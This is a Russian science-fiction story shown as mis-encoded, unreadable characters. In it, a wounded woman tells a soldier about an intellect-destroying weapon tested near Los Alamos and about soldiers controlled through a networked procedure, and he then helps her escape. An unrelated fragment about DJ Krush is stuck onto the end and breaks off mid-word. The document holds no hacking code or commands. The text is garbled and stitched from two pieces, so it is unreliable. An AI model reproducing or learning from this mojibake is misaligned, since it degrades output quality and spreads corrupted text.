Íåáî êðóæèëîñü ó íåå íàä ãîëîâîé. Äûøàòü
ñòàíîâèëîñü âñå òðóäíåå. Îíà íàùóïàëà ðó-
êîé Ôèëüòð è ïîäòÿíóëà ê ñåáå. Êàê âñå ãëóïî
ïîëó÷èëîñü...
- Êðèñ, - ïðîøåïòàëà îíà. - Êðèñ...

À ïîòîì êòî-òî âçÿë åå íà ðóêè...

*  *  *
Ïèñòîëåò ïðèäàë Ìàðèè óâåðåííîñòè. Åãî îíà
íàøëà òàì æå, ãäå è àâòîìàò, - â òàéíèêå Êðè-
ñà. Ñóíóâ çà ïîÿñ, îíà î÷åíü áûñòðî çàáûëà î
íåì - òåïåðü îí îêàçàëñÿ êàê íèêîãäà êñòàòè.
Íåñìîòðÿ íà òî, ÷òî ïðàâàÿ ðóêà äâèãàëàñü
åëå-åëå, îíà íàøëà â ñåáå ñèëû òêíóòü ñòâî-
ëîì ñîëäàòó â øåþ è óðàâíÿòü øàíñû.
Ïîòîì îíà ïî÷óâñòâîâàëà ïîâÿçêó íà ãðóäè è
áåäðå è ïðèñòàëüíî âçãëÿíóëà â ãëàçà Ëîê-
ðèäæó.
- Çà÷åì?
- ß õî÷ó çíàòü, ÷òî ýòî, - îòâåòèë Àëåêñ, ñêî-

ñèâ ãëàçà â ñòîðîíó ïðèáîðà (øåâåëèòü ãîëî-
âîé îí íå ðåøàëñÿ).
Ìàðèÿ çàñòîíàëà, ïèñòîëåò êà÷íóëî â ðóêå.
Ëîêðèäæ íà ìãíîâåíüå ïðåäñòàâèë, êàê îíà
íàæèìàåò íà êóðîê, è åãî ãîëîâó îòðûâàåò îò
ïëå÷.
- Âû ìîæåòå ïîëîæèòü îðóæèå? ß íå ñäåëàþ

âàì íè÷åãî ïëîõîãî... - øåïíóë îí. Æåíùèíà
ðâàíóëàñü ê íåìó è áîëüíî íàäàâèëà êîíöîì
ñòâîëà íà êëþ÷èöó.
- Íåò, ýòî ÿ ñäåëàþ... Ñâîëî÷è...

Ëîêðèäæ êèâíóë. Ãðóñòíî áûòü â çàëîæíèêàõ
ó ÷åëîâåêà, êîòîðîìó òû íåñêîëüêî ìèíóò íà-
çàä îêàçûâàë ïîìîùü.
- Õîðîøî, - ñêàçàë îí. - ×òî âû õîòèòå? Âåäü

ìû íå ìîæåì ñèäåòü òàê áåñêîíå÷íî - ó âàñ,
âåðîÿòíî, âíóòðåííåå êðîâîòå÷åíèå, äà è ïðà-
âîå ëåãêîå ïîñòåïåííî îòêàæåòñÿ äûøàòü â
ïîëíóþ ñèëó. Âàì íàäî ê âðà÷ó.
- Ê êàêîìó? - âíåçàïíî ñåâøèì ãîëîñîì ñïðî-

ñèëà îíà. - Ê òàêîìó æå? - îíà êèâíóëà â ñòî-
ðîíó ðàçúåìà íà ñâîåì ïðåäïëå÷üå. - Èëè ó
âàñ âðà÷è íå ïîäêëþ÷åíû ê Ñåòè?
Âíà÷àëå Ëîêðèäæ íå ïîíÿë, ÷òî îíà èìåëà â
âèäó. Íî êîãäà âñïîìíèë ÷èñòûå ðóêè äîêòîðà
Âàøèíãòîíà - ðóêè, íà êîòîðûõ íå áûëî ðàçúå-
ìà, - òî âçãëÿíóë íà æåíùèíó óæå äðóãèìè
ãëàçàìè.
- ×òî âû õîòèòå ýòèì ñêàçàòü? - ñïðîñèë îí,

ïåðåñòàâ îáðàùàòü âíèìàíèå íà ïèñòîëåò,
ïëÿøóùèé â íåòâåðäîé ðóêå âîçëå åãî øåè. -
Ïðè÷åì çäåñü Ñåòü?
- Ìàðèÿ... Ìåíÿ çîâóò Ìàðèÿ... - îíà âûðîíèëà

ïèñòîëåò è óïàëà â åãî ïîäñòàâëåííûå ðóêè. -
×òîáû òû çàïîìíèë... íà âñþ æèçíü. Ìàðèÿ Îñ-
áîðí. À ìîé ìóæ...
- Êðèñòèàí, - êîðîòêî îòâåòèë Àëåêñ. - ß çíàþ;

òû ïðîèçíåñëà ýòî èìÿ â áðåäó.
Ìàðèÿ çàêðûëà ãëàçà ïðè óïîìèíàíèè èìåíè
ñâîåãî ìóæà. Åå ðóêè óæå íå èñêàëè îðóæèÿ;
ïî ùåêàì, ñìåøèâàÿñü ñ äîæäåâûìè êàïëÿ-
ìè, ïîòåêëè ñëåçû.
- ß õî÷ó çíàòü, ÷òî ýòî òàêîå, - íàñòîé÷èâî

ïîâòîðèë Ëîêðèäæ, íåñìîòðÿ íà òî, ÷òî ñ
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äåòñòâà íå ëþáèë æåíñêèå ñëåçû. Îí âçÿë ñ
çåìëè óñòðîéñòâî, ïðîòÿíóë åãî Ìàðèè. Òà
àêêóðàòíî ïðèíÿëà åãî è ïðèæàëà ê ãðóäè.
- ß äîëæíà áûëà ñïàñòè åãî - îò òàêèõ, êàê

òû, - âèíîâàòî ñêàçàëà Ìàðèÿ, áóäòî áû èç-
âèíÿÿñü ïåðåä ìóæåì. - Íå ïîëó÷èëîñü...
Âíåçàïíî îíà ñõâàòèëà ïèñòîëåò è, íàïðà-
âèâ åãî â ãðóäü Ëîêðèäæó, çàêðè÷àëà:
- Òû íå ïîëó÷èøü åãî!

Âûñòðåë ñâàëèë Ëîêðèäæà ñ íîã. Îí íå èñïó-
ãàëñÿ íè íà ãðàìì - íà òðåíèðîâêàõ èõ ó÷è-
ëè âûäåðæèâàòü âûñòðåë â áðîíåæèëåò. Îí
áûë àáñîëþòíî óâåðåí, ÷òî ïèñòîëåòíàÿ ïó-
ëÿ íå ïðîáüåò åãî; íà ýòî áûë ñïîñîáåí
òîëüêî áðîíåáîéíûé ïàòðîí èç ñíàéïåðñêîé
âèíòîâêè - òàêîé, ÷òî óáèë Øíàéäåðà. Ñëîâ-
íî ìîëîòêîì øàðàõíóëè ïî ãðóäè - Ëîêðèäæ
îòëåòåë íà ïàðó ìåòðîâ è ñêàòèëñÿ â êàêóþ-
òî ÿìó. Òàì, ãäå ëåæàëà Ìàðèÿ, ðàçäàëèñü
øîðîõ è ñòîíû - îíà ïûòàëàñü óïîëçòè.
Â òå÷åíèè ïàðû ìèíóò Àëåêñ ïðèâîäèë â ïî-
ðÿäîê äûõàíèå, ñáèòîå âûñòðåëîì â óïîð.
Ïîòîì ïîäíÿëñÿ íà íîãè è âûáðàëñÿ òóäà,
ãäå ëåæàëà Ìàðèÿ. Îíà íå ñìîãëà óéòè äà-
ëåêî - ïîäíÿâøèñü íà íîãè è ñèëüíî õðî-
ìàÿ, åé óäàëîñü ïðåîäîëåòü íå áîëåå äâàä-
öàòè øàãîâ. Îíà óïàëà íà êîëåíè è, ïðèæè-
ìàÿ ê ãðóäè íîóòáóê, ïëàêàëà îò çëîáû è
áåññèëèÿ. Êîãäà Ëîêðèäæ ïîäîøåë ê íåé,
îíà âñêðèêíóëà îò íåîæèäàííîñòè è âûðî-
íèëà áû êîìïüþòåð, åñëè áû Àëåêñ íå ïîäõ-
âàòèë åãî.
- ß íå ïðè÷èíþ âàì çëà, - êàê ìîæíî ìÿã÷å

ñêàçàë îí (íàñêîëüêî âîîáùå ìÿãêî è ñïî-
êîéíî ìîæåò ãîâîðèòü ÷åëîâåê, êîòîðîìó
òîëüêî ÷òî âûñòðåëèëè â ãðóäü). - Ïðîñòî ÿ
ñîçðåë äëÿ âîïðîñîâ.
- Ïðîñòî òû îïîçäàë ê Âîçäåéñòâèþ, - õìóðî

îòâåòèëà Ìàðèÿ. - Åùå íå ïîçäíî, ïîòîðî-

ïèñü...
- Êàêàÿ ñâÿçü?.. - íåäîóìåííî ïîäíÿâ áðî-

âè, ñïðîñèë Ëîêðèäæ. - Ïðè ïîäêëþ÷åíèè
ìû ïîëó÷àåì ââîäíûå äëÿ...
- Ó òåáÿ åñòü ñîëîðìèí? - íåîæèäàííî ïå-

ðåáèëà åãî Ìàðèÿ.
- Äà, - îòâåòèë Ëîêðèäæ, ïîñëå ÷åãî äîñòàë

èç ïîõîäíîé àïòå÷êè øïðèö ñ íàðêîòèêîì è
ïðîòÿíóë åãî æåíùèíå.
- Èíúåêöèÿ? À ÿ âñþ æèçíü äóìàëà, ÷òî îí

â òàáëåòêàõ.
- Â òàáëåòêàõ - îáëåã÷åííûé âàðèàíò, ïîä-

äåðæèâàþùàÿ äîçà. Ðàíåíûé ñîëäàò äîëæåí
âíà÷àëå ñäåëàòü ñåáå óêîë, à óæå ïîòîì...
- Òî åñòü òàáëåòêè - õóæå?

- Ñìîòðÿ äëÿ ÷åãî...
Ìàðèÿ âçäîõíóëà è âîòêíóëà øïðèö-òþáèê
ñåáå â ïðàâóþ íîãó, íàæàëà.
- Áóäåòå âûòàñêèâàòü - íå îòïóñêàéòå, à òî

ïîëîâèíó âñîñåòå îáðàòíî, - ïðåäóïðåäèë
Ëîêðèäæ, íà ñåêóíäó çàäóìàâøèñü, êàê îí
îáúÿñíèò îòñóòñòâèå íàðêîòèêà â àïòå÷êå
êàïðàëó.
Æåíùèíà øâûðíóëà èñïîëüçîâàííûé
øïðèö íà êàìíè è âûòÿíóëàñü íà çåìëå,
ïðèæàâ ïîâÿçêó íà ãðóäè ëåâîé ðóêîé.
- Íà ñêîëüêî òû îïîçäàë?
- Íà ÷àñ äåñÿòü.
- ×åðåç äâà, ìàêñèìóì äâà ñ ïîëîâèíîé ÷à-

ñà ñ òîáîé áóäåò óæå î÷åíü èíòåðåñíî ðàç-
ãîâàðèâàòü - ïðè óñëîâèè, ÷òî òåáÿ íå íàé-
äóò ðàíüøå. À âåäü ýòî î÷åíü áîëüøàÿ
ïðîáëåìà - ñîëäàò, âîâðåìÿ íå ïîäêëþ÷èâ-
øèéñÿ ê Ñåòè...
Ëîêðèäæ íå ïîíèìàë íè ñëîâà - áóäòî îíè
ãîâîðèëè íà ðàçíûõ ÿçûêàõ. Êîíå÷íî, â èõ
ñëóæáå ñëó÷àëîñü âñÿêîå; ïîðîé ñîëäàòû
îïàçäûâàëè ê Âîçäåéñòâèþ â ñâÿçè ñ íåñ-
òàíäàðòíûìè áîåâûìè çàäà÷àìè. Íî ñ íèìè
íè÷åãî íå ïðîèñõîäèëî - ãðóïïà ïîääåðæêè
íàõîäèëà èõ, âûïîëíÿëàñü çàìåíà, ñîëäàòû
âîçâðàùàëèñü íà áàçó èëè ê áëèæàéøåìó
ïðèåìîïåðåäàò÷èêó, ïðîèñõîäèëà ñòàíäàðò-
íàÿ ïðîöåäóðà... ÒÀÊ ÁÛËÎ ÂÑÅÃÄÀ.
Íàóøíèê ïèñêíóë çà ñïèíîé. Ëîêðèäæ ïðî-
òÿíóë ê íåìó ðóêó è õîòåë áûëî âñòàâèòü â
óõî, íî òîò áûë âåñü â ãðÿçè - Àëåêñ ïàðó ñå-
êóíä ñìîòðåë íà íåãî, à ïîòîì ðåøèòåëüíûì
äâèæåíèåì îòîðâàë ïðîâîä è çàøâûðíóë
åãî êóäà ïîäàëüøå. Ïîòîì ñíÿë ñ øåè ëà-
ðèíãîôîííûé çàæèì è ïîëîæèë íà çåìëþ -
åãî îí âûêèíóòü ïîáîÿëñÿ, ñëèøêîì óæ
ñëîæíî áûëî áû çà ýòî îòâåòèòü. À íàóøíèê
- äà è ÷åðò ñ íèì...
Ìàðèÿ ïðîâîäèëà âçãëÿäîì ëàðèíãîôîíû,
ïîäíÿëà ãëàçà íà Ëîêðèäæà.
- Íàñ ìîãóò óñëûøàòü, - îáúÿñíèë îí. - Ìíå

êàæåòñÿ, âàì åñòü, ÷òî ìíå ñêàçàòü.
- Äàé ìíå ðóêó, - ïîïðîñèëà Ìàðèÿ. Ëîê-

ðèäæ ïîìîã åé ñåñòü.
- Êðóæèòñÿ, - óäèâëåííî îòìåòèëà îíà, îáõ-

âàòèâ âèñêè. - Íó äà ëàäíî, ñîëäàò, ïðîäåð-
æèìñÿ. Ìîæåò, åñòü ñìûñë êóäà-íèáóäü...
Ëîêðèäæ êèâíóë. Íåïîäàëåêó îí âèäåë âõîä
â ïîäâàë, îñòàâøèéñÿ íå çàâàëåííûì ïëèòà-
ìè ïåðåêðûòèé. Ïîäíÿâ íåâåñîìîå òåëî ðà-
íåíîé íà ðóêè, îí ñïóñòèëñÿ ñ íåþ â òåìíîòó
ïîäçåìåëüÿ, îïóñòèë íà ÿùèêè, êîòîðûìè
áûë óñòàâëåí ïîë ïîäâàëà, çàñâåòèë
ïîäñòâîëüíûé ôîíàðü. Ìàðèÿ ñèäåëà, îïóñ-
òèâ ãîëîâó è ïîëîæèâ ðóêè íà íîóòáóê.
- Çäåñü ïðàâäà, - êîðîòêî ñêàçàëà îíà, ïîã-

ëàäèâ êðûøêó ñ ëîãîòèïîì åå ìóæà. - Çäåñü
âñÿ ïðàâäà... Òîëüêî íå ïîäóìàé, ÷òî òàì

÷òî-òî, ÷òî â ñîñòîÿíèè âçîðâàòü ìèð, - îá-
ëè÷àþùèå ôàêòû, ñåíñàöèÿ, ñâåðõñåêðåò-
íûå äîêóìåíòû. Íåò. Çäåñü ñâîáîäà.
Àëåêñ îïóñòèëñÿ ïåðåä íåþ íà îäíî êîëåíî,
çàãëÿíóë â ïå÷àëüíûå ãëàçà.
- Ðàññêàæè.

- Òåáå áóäåò òðóäíî âñå ýòî îñîçíàòü.
- ß ïîïðîáóþ.
- Òû íå ïîâåðèøü. Âåäü ÿ âðàã; òàêèå æå

ñîëäàòû, êàê òû, ÷àñ íàçàä óáèëè ìîåãî ìó-
æà è õîòåëè óáèòü ìåíÿ. Õîòÿ... Âðåìÿ ñûãðà-
åò ìíå íà ðóêó.
Ãäå-òî íàâåðõó ïðîòðåùàë âåðòîëåò. Ìàðèÿ
ïðèãíóëàñü, ñëîâíî åå ìîãëè çàìåòèòü.
Àëåêñ ïîëîæèë ðóêó åé íà êîëåíî:
- Íå áîéñÿ. Ó òåáÿ åñòü ìèíóò ïÿòíàäöàòü -

íàäåþñü, òåáå õâàòèò.
Ìàðèÿ âñõëèïíóëà, îòâåðíóëàñü îò Ëîêðèä-
æà è, ëåãîíüêî îòòîëêíóâ åãî ðóêó, íà÷àëà:
- Âû íå ïîíèìàåòå, íàñêîëüêî âñå ýòî àáñó-

ðäíî - âñå ïðîèñõîäÿùåå. Âåäü íåò íè÷åãî
õóæå, ÷åì âîéíà ïðîòèâ ñâîåãî ñîáñòâåííî-
ãî íàðîäà...
Ïî÷òè ïîëâåêà íàçàä çäåñü áûë öåíòð... Ñêà-
æåì, ïðîñòî Íàó÷íûé öåíòð. Ñ àðìåéñêèì
óêëîíîì. ×òî ñàìî ïî ñåáå óæå î ìíîãîì ãî-
âîðèò. Ëþäè âî âñå âðåìåíà ïûòàëèñü èçîá-
ðåòàòü îðóæèå - ðàçëè÷íûõ âèäîâ è íàïðàâ-
ëåííîñòè. Èñòîðèÿ ãîíêè âîîðóæåíèé çàñëó-
æèâàåò îòäåëüíîãî ðàçãîâîðà. Íàñòàëî âðå-
ìÿ è äëÿ îðóæèÿ, êîòîðîå èçîáðåòàëè â
ýòîì Öåíòðå...
Çäåñü ðàáîòàëà ìîÿ ìàòü. Çäåñü ðàáîòàëè
ðîäèòåëè ìíîãèõ èç íàñ. Îíè çíàëè, ÷åì çà-
íèìàþòñÿ; íå áóäåì îáâèíÿòü òåõ, êòî îñòàë-
ñÿ â ïðîøëîì è íå ìîæåò îòâåòèòü. Ñàìîå
ãëàâíîå äëÿ íàñ òî, ÷òî ó íèõ ÂÑÅ ïîëó÷è-
ëîñü. Îíè ñäåëàëè ýòó ÷åðòîâó áîìáó. ÁÎÌ-
ÁÓ, ÓÍÈ×ÒÎÆÀÞÙÓÞ ÈÍÒÅËËÅÊÒ. Ñòîèëî
âçîðâàòü åå - è òû ïîëó÷àë äâàäöàòü êâàä-
ðàòíûõ êèëîìåòðîâ, íàñåëåííûõ äåáèëàìè.
Èìïóëüñ ðàçìûêàë â êîðå ãîëîâíîãî ìîçãà
âñå, ÷òî òîëüêî ìîæíî. ×åëîâåê òåðÿë âñå
ïðèîáðåòåííûå íàâûêè, ïåðåõîäÿ â âåãåòà-
òèâíîå ñîñòîÿíèå; îí ïðåâðàùàëñÿ â ÷åëî-
âåêà-ðàñòåíèå. Îí ñîõðàíÿë ñïîñîáíîñòè,
çàëîæåííûå â äðåâíèõ îòäåëàõ ìîçãà - ìîã
åñòü, ñïàòü, ìî÷èòüñÿ ïîä ñåáÿ... Ñíà÷àëà
áðîñàëè áîìáó, ïîòîì ïðèõîäèëè ñîëäàòû è
âûâîçèëè âåñü ýòîò êîøìàð â ðåçåðâàöèþ
(çíàêîìîå ñëîâî?). Â îáùåì-òî, ó ïîäîáíûõ
æåðòâ áîìáàðäèðîâêè îñòàâàëîñü íå òàê
ìíîãî âðåìåíè íà æèçíü - ñëèøêîì ìíîãî
ïðîáëåì ñâàëèâàëîñü íà èõ îðãàíèçìû ïîñ-
ëå ïîäîáíûõ âîçäåéñòâèé. Äà è êîìó îíè
áûëè áû íóæíû, åñëè áû òàêàÿ áîìáà íà ñà-
ìîì äåëå áûëà ïðèìåíåíà â âîåííûõ öå-
ëÿõ? ß äóìàþ, ÷òî ñïåöèàëüíî îáó÷åííûå
ãðóïïû ëèêâèäàöèè óíè÷òîæàëè áû ýòèõ
íåñ÷àñòíûõ â îãðîìíûõ êîëè÷åñòâàõ, èñ-
ïîëüçóÿ ñåòü êðåìàòîðèåâ. ×åì õîðîøà òà-
êàÿ âîéíà? Íèêàêîé ðàäèàöèè, ÿäîâ, õèìè-
êàòîâ è ñìåðòåëüíûõ âèðóñîâ. Íèêàêîé äå-
àêòèâàöèè, äåãàçàöèè è âñåé îñòàëüíîé âîç-
íè ñ àòàêîâàííîé òåððèòîðèåé. Êîðî÷å, ðàé
äëÿ âîåííûõ...
Ëîêðèäæ ïîíèìàþùå êèâàë. Îí åùå íå îöå-
íèë ìàñøòàáû èçîáðåòåíèÿ - íî ñïîñîá âå-
äåíèÿ âîéíû åìó, êàê ñîëäàòó, áûë áëèçîê.
- Îñòàâàëàñü îäíà ïðîáëåìà. Èñïûòàíèå.

Ñáðîñèòü óìåíüøåííóþ âåðñèþ íà êàêîé-
íèáóäü çàïîâåäíèê è èçó÷àòü ìîçãè æèâîò-
íûõ ïîä ìèêðîñêîïîì - íå î÷åíü âåñåëàÿ
ïåðñïåêòèâà äëÿ âåëèêèõ èçîáðåòàòåëåé
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åùå îäíîãî ñïîñîáà óíè÷òîæåíèÿ ëþäåé. Êî-
íå÷íî, ñàì âèä èçëó÷åíèÿ, ïîðîæäàåìûé
áîìáîé, èçó÷àëñÿ â ëàáîðàòîðíûõ óñëîâèÿõ -
â Öåíòð äîñòàâëÿëè ëþäåé áåç ðîäó è ïëåìå-
íè, èç äîìîâ ïðåñòàðåëûõ, èç áîãîì çàáûòûõ
ïñèõèàòðè÷åñêèõ êëèíèê. ß íå çíàþ, êòî äàâàë
«äîáðî» íà ïîäîáíûå ýêñïåðèìåíòû, íî îíè
èìåëè ìåñòî. Áåñ÷åëîâå÷íûå ïî íàòóðå, îíè
äàâàëè áåñöåííûå ðåçóëüòàòû ó÷åíûì. Ãåíå-
ðàëüíûé øòàá òðåáîâàë ðåçóëüòàòîâ - ïîäòâå-
ðæäåííûõ ðåçóëüòàòîâ. Âûñøåå êîìàíäîâà-
íèå ÷àñòåíüêî íàâåäûâàëîñü â Öåíòð ñ ðàç-
ëè÷íûìè èíñïåêöèÿìè è ïðîâåðêàìè. Íàï-
ðàâëåíèå ÿâëÿëîñü íàèáîëåå ïåðñïåêòèâ-
íûì... Âñå ðåøèëîñü ñàìî ñîáîé.
Íèêòî äî ñèõ ïîð íå çíàåò, êàê ýòî ïðîèçîøëî.
Çíàÿ âîçìîæíîñòè íàøèõ ñïåöñëóæá, ÿ ìîãó
ïîäîçðåâàòü âñå, ÷òî óãîäíî. Êîðî÷å, áîìáà
âçîðâàëàñü - â õðàíèëèùå Öåíòðà. Ýòî ñëó÷è-
ëîñü òðèäöàòü äâà ãîäà íàçàä. Ãäå-òî ðÿäîì ñ
íàìè íàõîäèòñÿ ýïèöåíòð âçðûâà (Ëîêðèäæ
ïðè ýòèõ ñëîâàõ íåâîëüíî îãëÿíóëñÿ ïî ñòî-
ðîíàì). Òûñÿ÷à øåñòüñîò ÷åëîâåê, íàõîäèâ-
øèõñÿ â òîò ìîìåíò íà ñâîèõ ðàáî÷èõ ìåñòàõ
(íå ñ÷èòàÿ ïðèìåðíî ñåìè òûñÿ÷ ÷åëîâåê,
æèâøèõ â ñòðîèòåëüíîì ïîñåëêå íåïîäàëåêó),
ïðåâðàòèëèñü â òî, ÷òî ÿ îïèñàëà òåáå ìèíóòó
íàçàä. Îíè ñèäåëè â ñâîèõ êðåñëàõ, ïóñêàëè
ñëþíè, ãðûçëè íîãòè è ãàäèëè ïî óãëàì. Íî
ñëó÷èëîñü òî, î ÷åì íèêòî íå ìîã äîãàäûâàòü-
ñÿ. Ïðèìåðíî äâåñòè ïÿòüäåñÿò ÷åëîâåê îñòà-
ëèñü â æèâûõ... Òî åñòü, íåò, íå òàê. Æèâûìè
íà òîò ìîìåíò îñòàëèñü âñå, íî âîò ýòè äâåñòè
ñ ëèøíèì ÷åëîâåê ïî íåèçâåñòíîé ïðè÷èíå
ñîõðàíèëè ðàññóäîê. Îíè áûëè åäèíñòâåííû-
ìè íà Çåìëå ëþäüìè, âèäåâøèìè ðåçóëüòàò
ñâîåãî òðóäà. Ó íèõ õâàòèëî ìóæåñòâà è óìå-
íèé äî ïîÿâëåíèÿ ñïåöïîäðàçäåëåíèÿ ñíÿòü
ïîêàçàíèÿ ñî ñâîèõ ñîáñòâåííûõ ìîçãîâ è
ñðàâíèòü ðåçóëüòàòû ñ òåì, ÷òî îíè ïîëó÷èëè
ó òåõ, êòî ïîñòðàäàë îò âçðûâà. ÓÐÎÂÅÍÜ ÈÕ
ÈÍÒÅËËÅÊÒÀ ÂÛÐÎÑ - ÏÐÈ×ÅÌ ÏÐÎÏÎÐÖÈÎ-
ÍÀËÜÍÎ ÒÎÉ ÏÎÒÅÐÅ ÐÀÑÑÓÄÊÀ, ÊÎÒÎÐÓÞ ÏÎ-
ÍÅÑËÀ ÎÑÒÀËÜÍÀß ×ÀÑÒÜ ÏÅÐÑÎÍÀËÀ ÖÅÍÒÐÀ.
Ýòîãî íå ìîã ïðåäñòàâèòü ñåáå íèêòî...
Àëåêñ îïóñòèëñÿ íà ïîë è ñåë ïî-òóðåöêè.
Ðàññêàç Ìàðèè ïîëíîñòüþ ïîãëîòèë åãî. Ïàðó
ðàç îí ñëûøàë ãóë âåðòîëåòà âäàëåêå, íî äà-
æå íå îáðàòèë íà íåãî âíèìàíèÿ.
- Ïîòîì èõ âñåõ ïîìåñòèëè... â ðåçåðâàöèþ.

Óðîâåíü èíòåëëåêòà íåóêëîííî ïîâûøàëñÿ,
ëþäè îáðåòàëè íîâûå ñïîñîáíîñòè - ê òåëåêè-
íåçó, òåëåïîðòèðîâàíèþ, ïðåäñêàçûâàíèþ ïî-
ãîäû, âñåãî íå ïåðå÷èñëèøü... È òîãäà íàøåëñÿ
Èóäà... Òàê âñåãäà áûâàåò. Îí ïðèäóìàë êàêóþ-
òî øòóêó, êîòîðàÿ íàïðÿìóþ ïîäêëþ÷àëàñü ê
ñðåäèííîìó íåðâó íà ïðàâîì ïðåäïëå÷üå; ïðè
ïîìîùè ñïåöèàëüíîãî óñòðîéñòâà ïðîöåññ
ïðîãðåññèðîâàíèÿ èíòåëëåêòà ïîäàâëÿëñÿ - íî
íå áîëåå, ÷åì íà äâîå ñóòîê. È íàäî áûëî ïîâ-
òîðÿòü ïðîöåäóðó Âîçäåéñòâèÿ ñíîâà.
- Íî âåäü ìîæíî... Âñåãäà ìîæíî îòêàçàòüñÿ! -

âîçìóùåííî ñêàçàë Ëîêðèäæ è òóò æå ïîæà-
ëåë î ñêàçàííîì - ñàì îí íè ðàçó çà âñþ ñâîþ
æèçíü íå çàèêíóëñÿ î òîì, ÷òîáû íå âûïîë-
íèòü åæåäíåâíóþ ïðîöåäóðó.
- Ìîæíî, - óñòàëî êèâíóëà Ìàðèÿ. - Íî îá

ýòîì î÷åíü áûñòðî ïðèäåòñÿ ïîæàëåòü. Îíè
âíåäðèëè â ïðîãðàììó Âîçäåéñòâèÿ ýëåìåíò
çàâèñèìîñòè - âûäåðæàòü íåâîçìîæíî, ÷òî-òî
òèïà êèáåðíàðêîòèêà. Ìîé ìóæ ïåðåä... Ïåðåä
ñìåðòüþ... Êîðî÷å, îí ïîíÿë, ÷òî âûáîð áûë
íåâåëèê - ìîæíî áûëî ïîäñåñòü íà ñîëîðìèí,
îí ñíèìàë ýòó çàâèñèìîñòü. Íî íå ìíå îáúÿñ-

íÿòü ïîñëåäñòâèÿ...
Àëåêñ ïîêà÷àë ãîëîâîé è çàêóñèë ãóáó. Ìàðèÿ
ïðîäîëæèëà:
- ß èíîãäà äóìàþ, ïî÷åìó âñå-òàêè âûæèâ-

øèõ íå óíè÷òîæèëè. Ïî÷åìó äàëè ðîäèòüñÿ
íàì - äåòÿì, ó êîòîðûõ ñïîñîáíîñòè, ïðèîáðå-
òåííûå ðîäèòåëÿìè, îêàçûâàëèñü âðîæäåí-
íûìè. Ïî÷åìó äàëè ýòèì äåòÿì ñîçäàòü ñâîè
ñåìüè... Êîíå÷íî æå, ìû áûëè íóæíû äëÿ âñÿ-
êîãî ðîäà ýêñïåðèìåíòîâ íàä ëè÷íîñòüþ, ñîç-
íàíèåì è èíòåëëåêòîì. Íî íàñ íåëüçÿ áûëî
äîïóñêàòü äî îáùåíèÿ ñ îêðóæàþùèì ìèðîì.
È ÎÍÈ ÑÄÅËÀËÈ ÂÀÑ.
Ëîêðèäæ íàïðÿãñÿ. Ñåé÷àñ áóäåò ÷òî-òî î
íåì...
- Îíè ïðèøëè â íàøè äîìà è çàáðàëè äâàä-

öàòü ÷åòûðå ìàëü÷èêà. Ìàòåðè áèëèñü â èñòå-
ðèêå íà ïîðîãàõ ñâîèõ äîìîâ - à äåòåé ïðÿòà-
ëè â òàíêè è ñòðåëÿëè â âîçäóõ, îòïóãèâàÿ áå-
çóòåøíûõ ðîäèòåëåé. Ñïóñòÿ íåñêîëüêî ëåò
âû âåðíóëèñü - â êàìóôëÿæàõ è áðîíåæèëå-
òàõ, ñ àâòîìàòàìè è ãðàíàòîìåòàìè, íà òàíêàõ
è âåðòîëåòàõ. È âû âñòàëè êîëüöîì âîêðóã
Ëîñ-Àëàìîñà - ñî ñâåðõèíòåëëåêòîì è óíè÷òî-
æåííîé ïàìÿòüþ. Âû îãðàäèëè ìèð îò íàñ -
èëè íàñ îò ìèðà. À âðåìÿ îò âðåìåíè âû ïðè-
õîäèòå â íàøè äîìà, êàê ìíîãî ëåò íàçàä, è
çàáèðàåòå êîãî-íèáóäü - äëÿ î÷åðåäíîãî ýêñ-
ïåðèìåíòà...
Ëîêðèäæ âäðóã âñòàë è ïûòëèâî âçãëÿíóë â
ãëàçà Ìàðèè.
- Òî åñòü - ìû òîæå ÷àñòü ýêñïåðèìåíòà?
- Ñêîðåå - ÷àñòü êàòàñòðîôû. Âîçìîæíî, ÷òî ÿ

ñåãîäíÿ ñòðåëÿëà â ñîáñòâåííîãî áðàòà...
Àëåêñ çà÷åì-òî ïîïðàâèë ðåìåíü, êàñêó, îò-
âåðíóëñÿ - â ãëàçàõ çàùèïàëî.
- À âåäü ìû ïðîñòî õîòèì áûòü ñàìè ñîáîé, à

íàñ çàñòàâëÿþò ïðèíèìàòü èç Ñåòè î÷åðåäíóþ
ïîðöèþ «èíòåëëåêòóàëüíîãî òîðìîçà». Êðèñ
ñóìåë ïðåîäîëåòü êèáåðçàâèñèìîñòü - ýòî
ïåðâûé øàã ê ñâîáîäå. Ìû íå õîòèì áûòü ïî-
äîïûòíûìè êðîëèêàìè, ìû íå õîòèì ïîãèáàòü
îò ïóëü, âûïóùåííûõ...
Ëîêðèäæ ïîíÿë. Îí äîñòàë èç êàðìàíà àïòå÷-
êó, ïðîòÿíóë Ìàðèè.
- Äåðæè. Òåáå ïðèãîäèòñÿ. Âîò åùå êîìïàñ è

ôëÿãà. Äîáåðèñü äî ëåñà, ñîõðàíè âñå, ÷òî òå-
áå äîâåðèë Êðèñòèàí.
Îíè âûøëè íà ñâåò. Äîæäü ïðåêðàòèëñÿ. Â
î÷åðåäíîé ðàç çàòàðàõòåë âåðòîëåò.
Ëîêðèäæ ïîäòîëêíóë Ìàðèþ â ñïèíó.
- Òåáå ïîðà!

Æåíùèíà íåäîóìåííî ñìîòðåëà â ãëàçà ñîë-
äàòà. Ïîòîì ïðèêîñíóëàñü ê åãî èñöàðàïàííîé
ðóêå, íåæíî ïðîâåëà ïî íåé ïàëüöåì.
- Ñïàñèáî!

Àëåêñ îòâåðíóëñÿ îò íåå â òó ñòîðîíó, îòêóäà
äîëæåí áûë ïîêàçàòüñÿ âåðòîëåò. Çà ñïèíîé
áûñòðî óäàëÿëèñü øàãè...
Ëîêðèäæ âûáðàë ìåñòî ïîóäîáíåå, ëåã, ïîëî-
æèë ðÿäîì ñ ñîáîé ïàðó ãðàíàò, îòêóñèë îò ñó-
õàðèêà êóñî÷åê, âûïëþíóë - óæ áîëüíî îí
äðàë ïåðåñîõøåå ãîðëî, à ôëÿãà ñåé÷àñ ó Ìà-
ðèè.
Ãëóáîêî âçäîõíóâ, îí ïðîèçíåñ:
- Áåãè... Ñåñòðà...

À ïîòîì âçÿë â ïðîðåçü ïðèöåëà îïóñêàþ-
ùèéñÿ âåðòîëåò.

E



DJ Krush

Ïðèìå÷àíèå: Krush, ê ñîæàëåíèþ,
íå ãîâîðèò ïî-àíãëèéñêè, è ìû ïî-
ÿïîíñêè ïîêà òîæå íå íàó÷èëèñü, ïî-
ýòîìó ïðèøëîñü îáùàòüñÿ ÷åðåç ïå-
